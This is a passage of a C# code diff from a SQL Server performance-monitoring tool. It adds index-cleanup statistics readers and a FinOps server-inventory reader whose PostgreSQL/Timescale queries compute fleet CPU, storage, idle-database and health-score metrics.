+        var head = productVersion.Split('.', 2)[0].Trim();
+        return int.TryParse(head, NumberStyles.Integer, CultureInfo.InvariantCulture, out var major) ? major : 0;
+    }
+
+    /// <summary>Reads one <c>v_index_object_stats</c> row at the <see cref="IndexObjectStatsLatestSql"/> column ordinals.</summary>
+    private static IndexObjectStatsDto ReadIndexObjectStatsRow(NpgsqlDataReader reader)
+    {
+        long? L(int i) => reader.IsDBNull(i) ? null : Convert.ToInt64(reader.GetValue(i), CultureInfo.InvariantCulture);
+        int? I(int i) => reader.IsDBNull(i) ? null : Convert.ToInt32(reader.GetValue(i), CultureInfo.InvariantCulture);
+        short? Sh(int i) => reader.IsDBNull(i) ? null : Convert.ToInt16(reader.GetValue(i), CultureInfo.InvariantCulture);
+        decimal? D(int i) => reader.IsDBNull(i) ? null : Convert.ToDecimal(reader.GetValue(i), CultureInfo.InvariantCulture);
+        bool? B(int i) => reader.IsDBNull(i) ? null : reader.GetBoolean(i);
+        string? S(int i) => reader.IsDBNull(i) ? null : reader.GetString(i);
+
+        return new IndexObjectStatsDto
+        {
+            DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
+            DatabaseId = reader.IsDBNull(1) ? 0 : Convert.ToInt32(reader.GetValue(1), CultureInfo.InvariantCulture),
+            SchemaName = reader.IsDBNull(2) ? "" : reader.GetString(2),
+            ObjectId = reader.IsDBNull(3) ? 0 : Convert.ToInt32(reader.GetValue(3), CultureInfo.InvariantCulture),
+            TableName = reader.IsDBNull(4) ? "" : reader.GetString(4),
+            IndexId = reader.IsDBNull(5) ? 0 : Convert.ToInt32(reader.GetValue(5), CultureInfo.InvariantCulture),
+            IndexName = S(6),
+            IndexTypeDesc = S(7),
+            KeyColumns = S(8),
+            IncludedColumns = S(9),
+            FilterDefinition = S(10),
+            IsUnique = B(11),
+            IsUniqueConstraint = B(12),
+            IsPrimaryKey = B(13),
+            IsForeignKey = B(14),
+            IsForeignKeyReference = B(15),
+            IsDisabled = B(16),
+            IsIndexedView = B(17),
+            DataCompressionDesc = S(18),
+            OptimizeForSequentialKey = B(19),
+            FillFactor = Sh(20),
+            IsPadded = B(21),
+            AllowPageLocks = B(22),
+            AllowRowLocks = B(23),
+            UserSeeks = L(24),
+            UserScans = L(25),
+            UserLookups = L(26),
+            UserUpdates = L(27),
+            ReservedMb = D(28),
+            TotalRows = L(29),
+            PartitionCount = I(30),
+            SqlServerStartTime = reader.IsDBNull(31) ? null : reader.GetDateTime(31),
+            RowLockWaitCount = L(32),
+            RowLockWaitInMs = L(33),
+            PageLockWaitCount = L(34),
+            PageLockWaitInMs = L(35),
+            PageLatchWaitCount = L(36),
+            PageLatchWaitInMs = L(37),
+            PageIoLatchWaitCount = L(38),
+            PageIoLatchWaitInMs = L(39),
+            /* collection_time is the store's naive UTC stamp; the anchor join makes it non-null. */
+            CollectionTime = DateTime.SpecifyKind(reader.GetDateTime(40), DateTimeKind.Utc),
+        };
+    }
+
+    /// <summary>Reads the latest per-index snapshot for the server and maps each row to the analyzer input contract.</summary>
+    public static async Task<List<IndexCleanupIndexInput>> GetIndexCleanupInputsAsync(NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        var rows = await ReadIndexObjectStatsAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken);
+        return rows.ConvertAll(MapToIndexInput);
+    }
+
+    /// <summary>Runs <see cref="IndexObjectStatsLatestSql"/> and returns its rows with their snapshot stamps.</summary>
+    private static async Task<List<IndexObjectStatsDto>> ReadIndexObjectStatsAsync(NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        var inputs = new List<IndexObjectStatsDto>();
+
+        await using var command = dataSource.CreateCommand(IndexObjectStatsLatestSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            inputs.Add(ReadIndexObjectStatsRow(reader));
+        }
+
+        return inputs;
+    }
+
+    /// <summary>
+    /// Reads the server's latest collected edition/version/start-time facts and derives the analyzer options.
+    /// The uptime comparison is an exception to the naive-UTC rule: <c>sqlserver_start_time</c> is the target's
+    /// LOCAL wall-clock start time, so it is compared against the service host's local clock
+    /// (<paramref name="referenceLocalTime"/>, or <see cref="DateTime.Now"/> when null).
+    /// </summary>
+    public static async Task<IndexCleanupOptions> GetIndexCleanupOptionsAsync(NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, DateTime? referenceLocalTime = null, CancellationToken cancellationToken = default)
+    {
+        int? engineEdition = null;
+        string? productVersion = null;
+        DateTime? startTime = null;
+
+        await using var command = dataSource.CreateCommand(ServerCompressionInfoSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (await reader.ReadAsync(cancellationToken))
+        {
+            engineEdition = reader.IsDBNull(0) ? null : Convert.ToInt32(reader.GetValue(0), CultureInfo.InvariantCulture);
+            productVersion = reader.IsDBNull(1) ? null : reader.GetString(1);
+            startTime = reader.IsDBNull(2) ? null : reader.GetDateTime(2);
+        }
+
+        /* sqlserver_start_time is the server's LOCAL wall clock, compared to the caller's local now — mirrors
+           the proc's SYSDATETIME() derivation (both wall-clock; the coarse days measure tolerates any offset). */
+        return DeriveIndexCleanupOptions(engineEdition, productVersion, startTime, referenceLocalTime ?? DateTime.Now);
+    }
+
+    /// <summary>
+    /// The full index-cleanup analysis for one server: reads the latest collected snapshot, derives the
+    /// server-fact options, and runs the pure analyzer off the calling thread (the dedupe is string-comparison-heavy).
+    /// </summary>
+    public static async Task<IndexCleanupAnalysisResult> GetIndexAnalysisAsync(NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        var inputs = await GetIndexCleanupInputsAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken);
+        var options = await GetIndexCleanupOptionsAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken: cancellationToken);
+        return await Task.Run(() => IndexCleanupAnalyzer.Analyze(inputs, options), cancellationToken);
+    }
+
+    /// <summary>
+    /// <see cref="GetIndexAnalysisAsync"/> plus when each database's snapshot was collected. The time rides beside the
+    /// analysis result (the Common types are shared with Lite, which has no stored snapshot to date): a map from
+    /// database id to the naive-UTC instant of that database's newest snapshot. It is keyed by id, as the analyzer
+    /// groups by id (<see cref="IndexCleanupRollup.DatabaseId"/>): a database that left collection scope keeps its last
+    /// snapshot, so a dropped-and-recreated (or restored-as-new) database can leave two ids sharing one name, and each
+    /// must carry its own time. Each id's newest cycle carries exactly one, so the map has no collisions.
+    /// </summary>
+    public static async Task<IndexAnalysisWithSnapshotTimes> GetIndexAnalysisWithSnapshotTimesAsync(NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        var rows = await ReadIndexObjectStatsAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken);
+        var options = await GetIndexCleanupOptionsAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken: cancellationToken);
+        var times = new Dictionary<int, DateTime>();
+        foreach (var row in rows)
+        {
+            times[row.DatabaseId] = row.CollectionTime;
+        }
+
+        var inputs = rows.ConvertAll(MapToIndexInput);
+        var result = await Task.Run(() => IndexCleanupAnalyzer.Analyze(inputs, options), cancellationToken);
+        return new IndexAnalysisWithSnapshotTimes(result, times);
+    }
+
+    /// <summary>The single filterable operation label mirroring sp_IndexCleanup's script buckets: MAKE UNIQUE wins over its MERGE bucket; otherwise the result kind names the bucket.</summary>
+    public static string ActionLabelFor(IndexCleanupAction action, IndexCleanupResultKind resultKind)
+    {
+        if (action == IndexCleanupAction.MakeUnique)
+        {
+            return "MAKE UNIQUE";
+        }
+
+        return ResultKindLabelFor(resultKind);
+    }
+
+    /// <summary>The display label for a script bucket.</summary>
+    public static string ResultKindLabelFor(IndexCleanupResultKind resultKind) => resultKind switch
+    {
+        IndexCleanupResultKind.Disable => "DISABLE",
+        IndexCleanupResultKind.Merge => "MERGE",
+        IndexCleanupResultKind.Compress => "COMPRESS",
+        IndexCleanupResultKind.Review => "REVIEW",
+        IndexCleanupResultKind.DisableConstraint => "DROP CONSTRAINT",
+        _ => resultKind.ToString().ToUpperInvariant(),
+    };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsInventoryReader.cs b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsInventoryReader.cs
new file mode 100644
index 0000000000..19925f20ab
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsInventoryReader.cs
@@ -0,0 +1,585 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>One fleet server's overlay metrics. No display or WPF state.</summary>
+public readonly record struct ServerMetricsDto(
+    decimal? AvgCpuPct, decimal? StorageTotalGb, int? IdleDbCount, string? ProvisioningStatus, int? HealthScore = null);
+
+/// <summary>One Server Inventory base row. Times are naive-UTC instants, except <c>SqlServerStartTime</c>, which is
+/// the server's own local clock, stored verbatim. No display or WPF state.</summary>
+public sealed record ServerInventoryDto(
+    int ServerId,
+    string ServerName,
+    string Edition,
+    string ProductVersion,
+    int EngineEdition,
+    int CpuCount,
+    long PhysicalMemoryMb,
+    string? HardwareUnavailableReason,
+    int? SocketCount,
+    int? CoresPerSocket,
+    bool? IsHadrEnabled,
+    bool? IsClustered,
+    DateTime? InventoryAsOfUtc,
+    DateTime? SqlServerStartTime,
+    string HostOsVersion,
+    string AgReplicaRole,
+    bool IsEnabled,
+    decimal MonthlyCost,
+    DateTime? LastCollectedUtc);
+
+/// <summary>
+/// The FinOps Server Inventory reads, shared by the viewer and the coming read tool. Lite queries each target LIVE; the
+/// headless store reads the COLLECTED <c>server_properties</c> table joined to the <c>servers</c> registry, with the
+/// collected metrics (<see cref="ServerMetricsSql"/>) overlaid per server by the caller. The reads return naive-UTC
+/// instants and plain records; the viewer converts times for display.
+/// </summary>
+public static class DarlingFinOpsInventoryReader
+{
+    /// <summary>
+    /// Collected 24h-CPU / storage / idle-DB / provisioning metrics for EVERY server, in one round trip (#4227).
+    /// $1 cpu cutoff (24h), $2 idle cutoff (7d), $3 the idle-coverage start (first of the last 7 UTC days), $4 the days that must be
+    /// covered. Used to be one call per server (<c>GetServerMetricsAsync</c>,
+    /// 43 round trips on a 43-server fleet); the five CTEs group naturally by <c>server_id</c>, so they read the
+    /// fleet at once instead — 24h CPU and grants via <c>GROUP BY server_id</c>, latest memory and size snapshots
+    /// via a per-server <c>LATERAL … LIMIT 1</c> descent (the <c>ServerFreshnessSql</c> shape, #3895).
+    ///
+    /// <para><b>The idle-database check</b> used to be a raw 7-day <c>v_query_stats</c> scan per server — the
+    /// #4227 cost. <c>active_dbs</c> below is the RAW shape (this constant, unrouted): every database with any
+    /// execution in <c>[$2, now)</c>. <see cref="ServerMetricsSqlFor"/> routes it instead through the stitched
+    /// rollup (<c>query_stats_db_hourly</c> / <c>_interval_hourly</c>, #3653) for every WHOLE hour, plus raw for
+    /// only the two edges the rollup cannot answer: the partial leading hour the bucket grain can't slice, and
+    /// the trailing range the aggregate — <c>materialized_only = true</c> (#4186 froze the legacy; NEVER read it
+    /// alone) — has not materialized yet. The raw cost then stays in proportion to those two edges rather than
+    /// the whole window, and the check is exact rather than "whatever raw retention still holds" (#4227's other
+    /// finding: a 4-day raw retention silently narrowed a 7-day claim).</para>
+    /// </summary>
+    public const string ServerMetricsSql = @"
+WITH cpu_24h AS (
+    SELECT
+        server_id,
+        AVG(CAST(sqlserver_cpu_utilization AS DECIMAL(5,2))) AS avg_cpu_pct,
+        MAX(sqlserver_cpu_utilization) AS max_cpu_pct,
+        PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY sqlserver_cpu_utilization) AS p95_cpu_pct
+    FROM v_cpu_utilization_stats
+    WHERE collection_time >= $1
+    GROUP BY server_id
+),
+/* The worker counts feed the verdict (memory_ratio used to feed this read's own CASE, and that CASE was the #2246 bug), and the
+   physical memory and buffer pool of the same newest row feed the health score, exactly as the Utilization read takes them
+   (DarlingFinOpsUtilizationReader). A server with no memory row has no row here (CROSS JOIN LATERAL), no Utilization card and no score. */
+mem_latest AS (
+    SELECT
+        s.server_id,
+        latest.max_workers_count,
+        latest.current_workers_count,
+        latest.total_physical_memory_mb,
+        latest.buffer_pool_mb
+    FROM servers s
+    CROSS JOIN LATERAL (
+        SELECT max_workers_count, current_workers_count, total_physical_memory_mb, buffer_pool_mb
+        FROM v_memory_stats
+        WHERE server_id = s.server_id
+        ORDER BY collection_time DESC
+        LIMIT 1
+    ) AS latest
+),
+/* Same workspace-memory pressure signals as the drill-down read, so the INVENTORY GRID cannot classify a
+   server by a rule the drill-down no longer uses (#2246 — this grid is the screen the field report was
+   looking at). */
+grants AS (
+    SELECT
+        server_id,
+        MAX(waiter_count) AS max_grant_waiters,
+        SUM(COALESCE(timeout_error_count_delta, 0)) AS grant_timeouts,
+        SUM(COALESCE(forced_grant_count_delta, 0)) AS forced_grants,
+        MAX(100.0 * granted_memory_mb / NULLIF(target_memory_mb, 0)) AS grant_utilization_pct
+    FROM v_memory_grant_stats
+    WHERE collection_time >= $1
+    GROUP BY server_id
+),
+/* The latest size-snapshot TIME per server (LATERAL LIMIT 1, indexed descent), shared by storage_totals
+   (sums every database at that instant) and latest_dbs (the idle check's known-databases universe) so
+   neither re-derives it. */
+size_latest AS (
+    SELECT
+        s.server_id,
+        latest_time.collection_time
+    FROM servers s
+    CROSS JOIN LATERAL (
+        SELECT collection_time
+        FROM v_database_size_stats
+        WHERE server_id = s.server_id
+        ORDER BY collection_time DESC
+        LIMIT 1
+    ) AS latest_time
+),
+storage_totals AS (
+    SELECT
+        sl.server_id,
+        SUM(vd.total_size_mb) / 1024.0 AS total_storage_gb,
+        /* The allocated and free totals the Utilization view scores storage from (FinOpsUtilizationFigures.LatestStorageTotalsSql) at the same
+           newest snapshot: a row with no total adds nothing to either, a row with no used size has no free space. */
+        COALESCE(SUM(vd.total_size_mb), 0) AS alloc_mb,
+        COALESCE(SUM(CASE WHEN vd.total_size_mb IS NOT NULL AND vd.used_size_mb IS NOT NULL THEN vd.total_size_mb - vd.used_size_mb END), 0) AS free_mb
+    FROM size_latest sl
+    JOIN v_database_size_stats vd
+      ON vd.server_id = sl.server_id
+     AND vd.collection_time = sl.collection_time
+    GROUP BY sl.server_id
+),
+latest_dbs AS (
+    SELECT DISTINCT
+        sl.server_id,
+        vd.database_name
+    FROM size_latest sl
+    JOIN v_database_size_stats vd
+      ON vd.server_id = sl.server_id
+     AND vd.collection_time = sl.collection_time
+    WHERE vd.database_name NOT IN ('master', 'model', 'msdb', 'tempdb', 'PerformanceMonitor')
+),
+active_dbs AS (
+    SELECT DISTINCT server_id, database_name
+    FROM v_query_stats
+    WHERE collection_time >= $2
+    AND   delta_execution_count > 0
+),
+/* The recommendation row's coverage rule (DarlingFinOpsOptimizationReader.HasIdleCoverageAsync): a database is called idle for 7
+   days only when the oldest query-stats sample is at or before $2 (now - 7 days) AND each complete UTC day in [$3, $5) -- D-7 through
+   D-1, today excluded -- holds a sample ($4 is how many days). A server without that coverage gets NO idle_dbs row, so its
+   count is NULL (a dash), never a count made from a window nothing watched. Covered servers count 0 when nothing is idle. */
+idle_coverage AS (
+    SELECT s.server_id
+    FROM servers s
+    WHERE (SELECT COUNT(*)
+           FROM (SELECT EXISTS (SELECT 1
+                                FROM v_query_stats q
+                                WHERE q.server_id = s.server_id
+                                AND   q.collection_time >= d.day_start
+                                AND   q.collection_time <  d.day_start + INTERVAL '1 day') AS has_sample
+                 FROM generate_series(CAST($3 AS timestamp), CAST($5 AS timestamp) - INTERVAL '1 day', INTERVAL '1 day') AS d(day_start)) AS probes
+           WHERE has_sample) >= $4
+    AND   EXISTS (SELECT 1 FROM v_query_stats o WHERE o.server_id = s.server_id AND o.collection_time <= $2)
+),
+/* LEFT JOIN from servers, not an EXCEPT grouped by server_id: a server whose every known database is
+   active has ZERO rows surviving an EXCEPT, and GROUP BY over zero rows contributes NO ROW for that
+   server at all -- the outer LEFT JOIN then reads idle_db_count as NULL, not 0, and the loader's overlay-
+   only-what-arrived rule (FinOpsTab.Loaders.cs) leaves the grid showing whatever idle count it last had
+   instead of the fresh, correct zero. The old per-server statement never had this trap: its idle_dbs was
+   a bare COUNT(DISTINCT ...) with no GROUP BY, which always returns exactly one row, 0 for zero matches.
+   Rooting this CTE at servers (like size_latest/mem_latest) keeps that same one-row-always guarantee once
+   the read went fleet-wide (#4227, caught by the live parity test). */
+idle_dbs AS (
+    SELECT
+        s.server_id,
+        COUNT(ld.database_name) FILTER (WHERE ad.database_name IS NULL) AS idle_db_count
+    FROM servers s
+    JOIN idle_coverage ic ON ic.server_id = s.server_id
+    LEFT JOIN latest_dbs ld ON ld.server_id = s.server_id
+    LEFT JOIN active_dbs ad
+      ON ad.server_id = ld.server_id
+     AND ad.database_name = ld.database_name
+    GROUP BY s.server_id
+)
+SELECT
+    s.server_id,
+    c.avg_cpu_pct,
+    st.total_storage_gb,
+    id.idle_db_count,
+    c.max_cpu_pct,
+    c.p95_cpu_pct,
+    COALESCE(m.max_workers_count, 0),
+    m.current_workers_count,
+    COALESCE(g.max_grant_waiters, 0),
+    COALESCE(g.grant_timeouts, 0),
+    COALESCE(g.forced_grants, 0),
+    COALESCE(g.grant_utilization_pct, 0),
+    props.engine_edition,
+    props.edition,
+    m.total_physical_memory_mb,
+    m.buffer_pool_mb,
+    m.server_id AS mem_server_id,
+    st.alloc_mb,
+    st.free_mb
+FROM servers s
+LEFT JOIN LATERAL (
+    SELECT engine_edition, edition
+    FROM server_properties
+    WHERE server_id = s.server_id
+    ORDER BY collection_time DESC
+    LIMIT 1
+) AS props ON true
+LEFT JOIN cpu_24h c ON c.server_id = s.server_id
+LEFT JOIN mem_latest m ON m.server_id = s.server_id
+LEFT JOIN storage_totals st ON st.server_id = s.server_id
+LEFT JOIN idle_dbs id ON id.server_id = s.server_id
+LEFT JOIN grants g ON g.server_id = s.server_id
+WHERE s.server_id <> 0";
+
+    /// <summary>The RAW <c>idle_coverage</c> CTE in <see cref="ServerMetricsSql"/>, verbatim — the second anchor <see cref="ServerMetricsSqlFor"/>
+    /// replaces, so the coverage days come from the same hourly rollup as the activity check rather than a raw 7-day scan of every server. The raw days are one <c>EXISTS</c> probe per complete day and server (an index range seek
+    /// on <c>(server_id, collection_time)</c> each, written in the select list so the planner keeps one index scan per day, see <c>IdleCoverageSql</c>), not a <c>COUNT(DISTINCT ...)</c> over every raw row of the 7 days (#5492).</summary>
+    private const string IdleCoverageRawCte = @"idle_coverage AS (
+    SELECT s.server_id
+    FROM servers s
+    WHERE (SELECT COUNT(*)
+           FROM (SELECT EXISTS (SELECT 1
+                                FROM v_query_stats q
+                                WHERE q.server_id = s.server_id
+                                AND   q.collection_time >= d.day_start
+                                AND   q.collection_time <  d.day_start + INTERVAL '1 day') AS has_sample
+                 FROM generate_series(CAST($3 AS timestamp), CAST($5 AS timestamp) - INTERVAL '1 day', INTERVAL '1 day') AS d(day_start)) AS probes
+           WHERE has_sample) >= $4
+    AND   EXISTS (SELECT 1 FROM v_query_stats o WHERE o.server_id = s.server_id AND o.collection_time <= $2)
+),";
+
+    /// <summary>
+    /// The routed <c>idle_coverage</c>: the distinct complete UTC days ([$3, $5)) that hold a rollup bucket from <paramref name="relationSql"/>
+    /// (a bucket exists only for an hour that held a query-stats sample), UNION the raw days at or after <paramref name="watermarkUtc"/>
+    /// that the aggregate has not materialized yet. The oldest-sample check is a rollup bucket that starts before the hour of
+    /// <paramref name="idleCutoffUtc"/> (so a sample at or before the cutoff certainly exists), or a raw sample at or before the cutoff;
+    /// only the single hour that holds the cutoff itself is judged conservatively. $3 is D-7 at 00:00, after the ceiling hour of the
+    /// 7-day activity cutoff, so no leading raw edge is needed for the days.
+    /// </summary>
+    private static string IdleCoverageForCagg(string relationSql, DateTime watermarkUtc, DateTime idleCutoffUtc)
+    {
+        var watermark = $"TIMESTAMP '{watermarkUtc:yyyy-MM-dd HH:mm:ss.ffffff}'";
+        var floorHour = TimescaleSupport.AlignDown(idleCutoffUtc, TimescaleSupport.HourlyBucket);
+        var oldestBucketBefore = $"TIMESTAMP '{floorHour:yyyy-MM-dd HH:mm:ss.ffffff}'";
+
+        return $@"idle_coverage AS (
+    SELECT d.server_id
+    FROM (
+        SELECT server_id
+        FROM (
+            SELECT server_id, CAST(bucket AS DATE) AS sample_day
+            FROM {relationSql}
+            WHERE bucket >= $3
+            AND   bucket <  $5
+
+            UNION
+
+            SELECT server_id, CAST(collection_time AS DATE) AS sample_day
+            FROM v_query_stats
+            WHERE collection_time >= {watermark}
+            AND   collection_time >= $3
+            AND   collection_time <  $5
+        ) AS days
+        GROUP BY server_id
+        HAVING COUNT(DISTINCT sample_day) >= $4
+    ) AS d
+    WHERE EXISTS (SELECT 1 FROM {relationSql} WHERE server_id = d.server_id AND bucket < {oldestBucketBefore})
+       OR EXISTS (SELECT 1 FROM v_query_stats r WHERE r.server_id = d.server_id AND r.collection_time <= $2)
+),";
+    }
+
+    /// <summary>The RAW <c>active_dbs</c> CTE in <see cref="ServerMetricsSql"/>, verbatim — the anchor
+    /// <see cref="ServerMetricsSqlFor"/> replaces to route the idle check through the rollup.</summary>
+    private const string IdleActiveDbsRawCte = @"active_dbs AS (
+    SELECT DISTINCT server_id, database_name
+    FROM v_query_stats
+    WHERE collection_time >= $2
+    AND   delta_execution_count > 0
+),";
+
+    /// <summary>
+    /// The routed <c>active_dbs</c>: every WHOLE hour from <paramref name="relationSql"/> (#3653's stitched
+    /// legacy/successor, already split at the successor's own floor) from <paramref name="ceilingHourUtc"/>,
+    /// UNION the raw leading edge <c>[$2, ceilingHour)</c> the bucket grain can't slice, UNION the raw trailing
+    /// edge <c>[watermark, now)</c> the aggregate has not materialized yet (<see cref="RollupMaterializationWatermark"/>).
+    /// Three <c>UNION</c>s rather than one combined predicate because each arm reads a different relation; a
+    /// database counts active if ANY of the three shows an execution (#4227's boolean rule).
+    /// </summary>
+    private static string IdleActiveDbsForCagg(string relationSql, DateTime ceilingHourUtc, DateTime watermarkUtc)
+    {
+        var ceiling = $"TIMESTAMP '{ceilingHourUtc:yyyy-MM-dd HH:mm:ss.ffffff}'";
+        var watermark = $"TIMESTAMP '{watermarkUtc:yyyy-MM-dd HH:mm:ss.ffffff}'";
+
+        return $@"active_dbs AS (
+    SELECT DISTINCT server_id, database_name
+    FROM {relationSql}
+    WHERE bucket >= {ceiling}
+    AND   execution_count_sum > 0
+
+    UNION
+
+    SELECT DISTINCT server_id, database_name
+    FROM v_query_stats
+    WHERE collection_time >= $2
+    AND   collection_time < {ceiling}
+    AND   delta_execution_count > 0
+
+    UNION
+
+    SELECT DISTINCT server_id, database_name
+    FROM v_query_stats
+    WHERE collection_time >= {watermark}
+    AND   delta_execution_count > 0
+),";
+    }
+
+    /// <summary>
+    /// <see cref="ServerMetricsSql"/> with the idle check routed through the hourly stitched rollup
+    /// (<paramref name="coverage"/>) for everything at or after <paramref name="watermarkUtc"/>'s bucket ceiling
+    /// back to <c>ceilingHour(idleCutoffUtc)</c>, raw for the two edges outside that. Callers only take this path
+    /// once <see cref="RollupMaterializationWatermark.GetAsync"/> has answered a real watermark for the
+    /// database-grain hourly family — with no watermark (nothing materialized, or the family doesn't exist on
+    /// this store) <see cref="ServerMetricsSql"/> unrouted is the correct read, not this one.
+    /// </summary>
+    public static string ServerMetricsSqlFor(RollupCoverage coverage, DateTime idleCutoffUtc, DateTime watermarkUtc)
+    {
+        ArgumentNullException.ThrowIfNull(coverage);
+
+        var floorHour = TimescaleSupport.AlignDown(idleCutoffUtc, TimescaleSupport.HourlyBucket);
+        var ceilingHour = floorHour == idleCutoffUtc ? floorHour : floorHour + TimescaleSupport.HourlyBucket;
+
+        var relationSql = coverage.StitchedRelationSql(
+            TimescaleSupport.QueryStatsDbHourlyView, "f", ceilingHour, RollupCoverage.StitchTier.Hourly);
+
+        var activeRouted = FinOpsRollupRouting.RouteOrThrow(
+            ServerMetricsSql,
+            IdleActiveDbsRawCte,
+            IdleActiveDbsForCagg(relationSql, ceilingHour, watermarkUtc),
+            "server inventory idle databases");
+        return FinOpsRollupRouting.RouteOrThrow(
+            activeRouted,
+            IdleCoverageRawCte,
+            IdleCoverageForCagg(relationSql, watermarkUtc, idleCutoffUtc),
+            "server inventory idle coverage");
+    }
+
+    /// <summary>
+    /// Every server's overlay metrics, ONE round trip (#4227). Routes the idle check through the rollup when
+    /// the database-grain hourly family exists here AND has a real materialization watermark (the successor's
+    /// when it exists, else the legacy's — whichever is the LIVE one); falls back to <see cref="ServerMetricsSql"/>
+    /// unrouted — the exact same predicate the fleet used to run per server — when neither holds, which is
+    /// always correct, just the slower path. <paramref name="rollups"/> and <paramref name="coverage"/> are the caller's
+    /// (cached) availability probe.
+    /// </summary>
+    public static async Task<Dictionary<int, ServerMetricsDto>> GetServerMetricsAsync(
+        NpgsqlDataSource dataSource, RollupAvailability rollups, RollupCoverage coverage, int commandTimeoutSeconds,
+        DateTime? nowUtc = null, CancellationToken cancellationToken = default)
+    {
+        var now = nowUtc ?? DateTime.UtcNow;
+        var cpuCutoff = now.AddHours(-24);
+        var idleCutoff = now.AddDays(-7);
+
+        DateTime? watermark = null;
+        if (rollups.DbGrainHourly)
+        {
+            var liveRelation = rollups.DbGrainIntervalHourly
+                ? TimescaleSupport.QueryStatsDbIntervalHourlyView
+                : TimescaleSupport.QueryStatsDbHourlyView;
+            watermark = await RollupMaterializationWatermark.GetAsync(
+                dataSource, liveRelation, TimescaleSupport.HourlyBucket,
+                commandTimeoutSeconds, cancellationToken);
+        }
+
+        var sql = watermark is DateTime mark
+            ? ServerMetricsSqlFor(coverage, idleCutoff, mark)
+            : ServerMetricsSql;
+
+        await using var command = dataSource.CreateCommand(sql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cpuCutoff, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(idleCutoff, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(DarlingFinOpsOptimizationReader.IdleCoverageStartUtc(now), DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter<long> { TypedValue = DarlingFinOpsOptimizationReader.IdleCoverageDays });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(DarlingFinOpsOptimizationReader.IdleCoverageEndUtc(now), DateTimeKind.Unspecified) });
+
+        var results = new Dictionary<int, ServerMetricsDto>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            /* The verdict is computed HERE rather than as a SQL CASE, so this grid and the drill-down
+               cannot disagree — they now call the same predicate. The old inline CASE was copies 5 and 6
+               of the ratio bug, on the screen the field report was actually looking at (#2246). */
+            var status = FleetProvisioningStatusFor(reader);
+
+            results[reader.GetInt32(0)] = new ServerMetricsDto(
+                reader.IsDBNull(1) ? null : Convert.ToDecimal(reader.GetValue(1)),
+                reader.IsDBNull(2) ? null : Convert.ToDecimal(reader.GetValue(2)),
+                reader.IsDBNull(3) ? null : Convert.ToInt32(reader.GetValue(3)),
+                status,
+                FleetHealthScoreFor(reader));
+        }
+
+        return results;
+    }
+
+    /// <summary>
+    /// The Server Inventory health score for one fleet-read row: the SAME score the Utilization view shows for that server, from the same
+    /// inputs over the same window (<see cref="FinOpsUtilizationFigures.HealthScore(bool, decimal, int, int, decimal)"/>): the 24-hour p95
+    /// CPU, the newest memory row's buffer pool over its physical memory, and the free share of the newest database-size snapshot. This used
+    /// to be built from the 24-hour AVERAGE CPU and a fixed memory and storage term, so every server of similar CPU read the same number beside
+    /// a Utilization score that differed. Null (a dash) when the window holds no CPU sample or the server has no memory row (no Utilization
+    /// card either). Ordinals: 1 avg CPU, 5 p95 CPU, 14 physical memory, 15 buffer pool, 16 memory-row server id, 17 allocated MB, 18 free MB.
+    /// </summary>
+    public static int? FleetHealthScoreFor(System.Data.Common.DbDataReader reader)
+    {
+        if (reader.IsDBNull(1) || reader.IsDBNull(16)) return null;
+
+        var allocatedMb = reader.IsDBNull(17) ? 0m : Convert.ToDecimal(reader.GetValue(17));
+        var freeMb = reader.IsDBNull(18) ? 0m : Convert.ToDecimal(reader.GetValue(18));
+        return FinOpsUtilizationFigures.HealthScore(
+            hasCpuSample: true,
+            p95CpuPct: reader.IsDBNull(5) ? 0m : Convert.ToDecimal(reader.GetValue(5)),
+            physicalMemoryMb: reader.IsDBNull(14) ? 0 : Convert.ToInt32(reader.GetValue(14)),
+            bufferPoolMb: reader.IsDBNull(15) ? 0 : Convert.ToInt32(reader.GetValue(15)),
+            freeSpacePct: FinOpsUtilizationFigures.FreeSpacePct(allocatedMb, freeMb));
+    }
+
+    /// <summary>
+    /// The provisioning verdict for one fleet-read row, or null when the server has no CPU sample in the
